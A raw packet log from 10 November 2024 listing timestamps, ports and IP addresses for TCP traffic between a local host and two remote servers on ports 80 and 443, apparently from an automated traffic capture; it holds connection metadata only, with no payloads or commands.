Nov 10, 2024 19:44:04.813366890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813378096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813390017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813400030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813406944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813436985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813566923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813638926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813648939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813658953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813690901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813711882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813730001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813741922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813752890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813792944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813826084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813837051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813854933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.813873053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.813890934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.839775085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.839993954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840003967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840013981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840024948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840033054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840042114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840054989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840059042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840063095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840070009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840080976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840090990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840096951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840107918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840138912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840234041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840245008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840255022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840272903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840279102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840284109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840287924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840312958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840487957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840497971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840540886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840552092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840576887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840588093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840629101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840653896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840662956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840672970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840688944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840694904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840718985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840821028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840837955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840847969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840859890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.840873003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.840894938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865102053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865113020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865122080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865133047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865145922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865164995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865349054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865360022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865370035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865401983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865413904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865489960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865505934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865515947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865533113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865540981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865573883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865576029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865611076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865667105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865694046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865709066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865709066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865725040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865731001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865755081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865765095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865777016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865788937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865796089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865814924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865825891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865837097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865879059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.865971088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865979910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.865993977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866008043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866023064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866025925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866041899 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866204023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866206884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866223097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866234064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866247892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866249084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866256952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866262913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866274118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866290092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866323948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866360903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866370916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866401911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866556883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866568089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866601944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866624117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:04.866648912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866661072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:04.866713047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:06.484786034 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.484832048 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:06.484965086 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.485321045 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.485353947 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:06.485446930 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.485456944 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:06.485475063 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.485512972 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.485891104 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.485919952 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:06.485974073 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.488172054 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.488188028 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:06.488760948 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.488775015 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:06.489070892 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.489085913 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:06.489214897 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:06.489223957 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.335205078 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.335515976 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.335525990 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.336870909 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.336950064 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.337835073 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.337841988 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.338479042 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.338486910 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.339473009 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.339541912 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.339607954 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.339626074 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.340198994 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.340265036 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.340297937 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.340353012 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.340482950 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.340488911 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.340498924 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.340548038 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.340667009 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.340672016 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.340950966 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.341012955 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.341284037 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.341290951 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.355914116 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.356096983 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.356118917 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.357127905 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.357186079 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.357445955 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.357515097 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.357539892 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.386729956 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.386734962 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.386734962 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.399331093 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.402339935 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.402348995 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.449218988 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.605762959 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.608716965 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.625611067 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.625653028 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.625684977 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.625762939 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.625772953 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.625833035 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.625863075 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.625910997 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.626156092 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.626162052 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.634018898 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.634107113 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.634111881 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.635557890 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.652364016 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.652374029 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.652385950 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.652391911 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.654870033 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.654903889 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.655026913 CET	443	49735	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.655128956 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.655143023 CET	49735	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.658684015 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.658735037 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.658890009 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.658894062 CET	443	49733	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.658996105 CET	49733	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.688568115 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.688575029 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.688584089 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.688595057 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.689686060 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.689743996 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.689891100 CET	443	49736	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.689948082 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.689948082 CET	49736	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.729892015 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.742958069 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.743000031 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.743144035 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.743149042 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.744973898 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.745165110 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.745171070 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.749156952 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.749207973 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.749217987 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.758142948 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.758315086 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.758320093 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.766652107 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.766710997 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.766716957 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.775219917 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.775285959 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.775291920 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.784260988 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.785748959 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.785754919 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.792907953 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.794512987 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.794518948 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.803663969 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.803710938 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.803716898 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.855963945 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.855969906 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.860037088 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.860066891 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.860116005 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.860415936 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.860420942 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.860455990 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.860496998 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.860501051 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.862189054 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.862217903 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.862256050 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.862262964 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.862323046 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.864381075 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.867630959 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.867667913 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.867693901 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.867701054 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.867765903 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.874388933 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.880248070 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.880333900 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.880408049 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.880414009 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.880467892 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.886301041 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.892359018 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.892448902 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.892570019 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.892575979 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.894486904 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.898390055 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.898497105 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.898605108 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.898610115 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.904419899 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.904525995 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.904531002 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.910418987 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.910466909 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.910470963 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.916455984 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.916505098 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.916510105 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.922647953 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.922698975 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.922703981 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.928582907 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.928664923 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.928669930 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.934503078 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.934551954 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.934556961 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.940587044 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.940634966 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.940640926 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.946647882 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.946717024 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.946722984 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.977521896 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.977551937 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.977570057 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.977575064 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.977608919 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.977622986 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.977627993 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.977670908 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.977895021 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.977967024 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.977998018 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.978018999 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.978023052 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.978310108 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.978580952 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.980977058 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.981023073 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.981028080 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.986445904 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.986488104 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.986493111 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.991836071 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.991884947 CET	49734	443	192.168.2.4	142.250.185.100
